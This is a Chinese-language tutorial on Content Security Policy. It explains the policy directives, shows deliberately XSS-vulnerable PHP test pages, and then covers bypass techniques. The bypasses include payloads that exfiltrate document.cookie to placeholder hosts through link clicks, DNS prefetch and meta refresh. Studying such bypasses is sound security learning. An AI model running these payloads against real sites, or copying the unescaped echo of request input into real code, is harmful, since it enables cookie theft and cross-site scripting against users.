初识CSP
初识CSP
CSP(内容安全策略) Content Security Policy
CSP 语法
前面是Content-Security-Policy: 后面是 策略指令 + 源内容列表 加 ;
例子:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com;
策略指令
default-src 定义默认加载策略 script-src 定义js加载策略 img-src 定义图片加载策略 style-src 定义css 加载策略
frame-src 定义frame 加载策略 connect-src 定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源
child-src 定义了web workers 以及嵌套 浏览上下文的源 frame 和iframe等
资源列表 source list
* 表示 实例 img-src * 通配符 允许所有地址
'none' 表示 不允许加载任何资源
'self' 表示 只加载用域名的资源
data:表示只允许加载data协议的资源 例如data:image/jpg;base64,NCJAFOFMJFJN=
domain.example.com 只允许加载当前域名的资源
*.example.com 允许加载example.com 域名下所有子域名
'unsafe-inline' 允许执行页面内嵌的<script>标签和事件监听函数
'unsafe-eval' 允许讲字符串当做代码执行 比如使用eval setTimeout Function 等
我并不是很了解这 unsafe-inline 和 unsafe-eval 两个的区别 所以我先做 做了如下实验
测试代码
<?php
header("Content-Security-Policy: script-src 'unsafe-inline' ");
setcookie('name','kkkl');
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<?php echo $_GET['xss'];?>
</body>
如何策略指令是 script-src 那么 unsafe-inline 的意思就是可以加载 执行js脚本 但是并不可以执行 eval setTimeout Function 等 代码执行函数
比如 现在是 unsafe-inline 运行加载执行js

那如果只写 unsafe-eval 呢

看到控制台报错了 翻译一下
提示拒绝执行内联script脚本 因为它违反了csp(内容安全策略) 启动内联执行sript 需要执行 unsafe-inline
所以现在如果我们想执行 代码执行函数的时候我们就可以使用
script-src 'unsafe-eval' 'unsafe-inline'


那如果不加unsafe -inline 就是不能执行js代码了吗 比如现在改为 script-src 'self'

发现又报错了 但是 想了一下 上面知识内联执行js代码 那如果我外联执行js代码呢 我又尝试了一下 在csp中又添加了内容源
header("Content-Security-Policy: script-src 'self' http://43.143.197.175");

发现外联的话是不会去受 unsafe-inline的影响的
所以在csp中如果没有没有写 unsafe-inline 的话 就需要外联去执行js代码
还有 一个 nonce 相当于一个验证 只有带有这个验证的话 js代码才会去执行
csp header("Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' 'self' ");

CSP 绕过
利用跳转绕过
网站存在csp 利用 fetch 这种是请求发出是会被csp禁止的


这里的csp 报错没有设置 connect-src 所以 为默认设置 default-src 为self 所以 发布出请求
这里可以用跳转的方式去发送请求
可以使用 window.open location
还有下面这种方法绕过
<script>var a=document.createElement("a");a.href='http://xxxxxx/?cookie='+escape(document.cookie);a.click();</script>
iframe 标签绕过
先写个demo
4.php
<?php
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; frame-src 'self'; ");
?>
<?php
if (isset($_POST['content'])) {
echo "Your POST content: <p>".@$_POST['content']."</p>";
}
?>
2.php
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<?php echo $_GET['xss'];?>
</body>
一个界面有csp限制 限制 frame 为同源 self 另一个有xss漏洞
然后 我们可以利用 2.php 中的漏洞 去 在 4.php 中去加载 2.php

还有另一种方法是
在chrome浏览器下 iframe 支持csp属性 可以用来绕过一些防御 有些页面会引用js库来过滤xss 我们就可以利用csp属性来禁用这个js库
绕过 default-src 'none'
内容策略是 header("Content-Security-Policy: default-src 'none'; ");
利用meta 标签可实现跳转 造成某些ssrf
<meta http-equiv="refresh" content="1;url=https://xxxxxxx" >
DNS 预加载
可以通过 link 标签的 dns预加载 绕过csp
document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".xxxxxx'>";//dns log
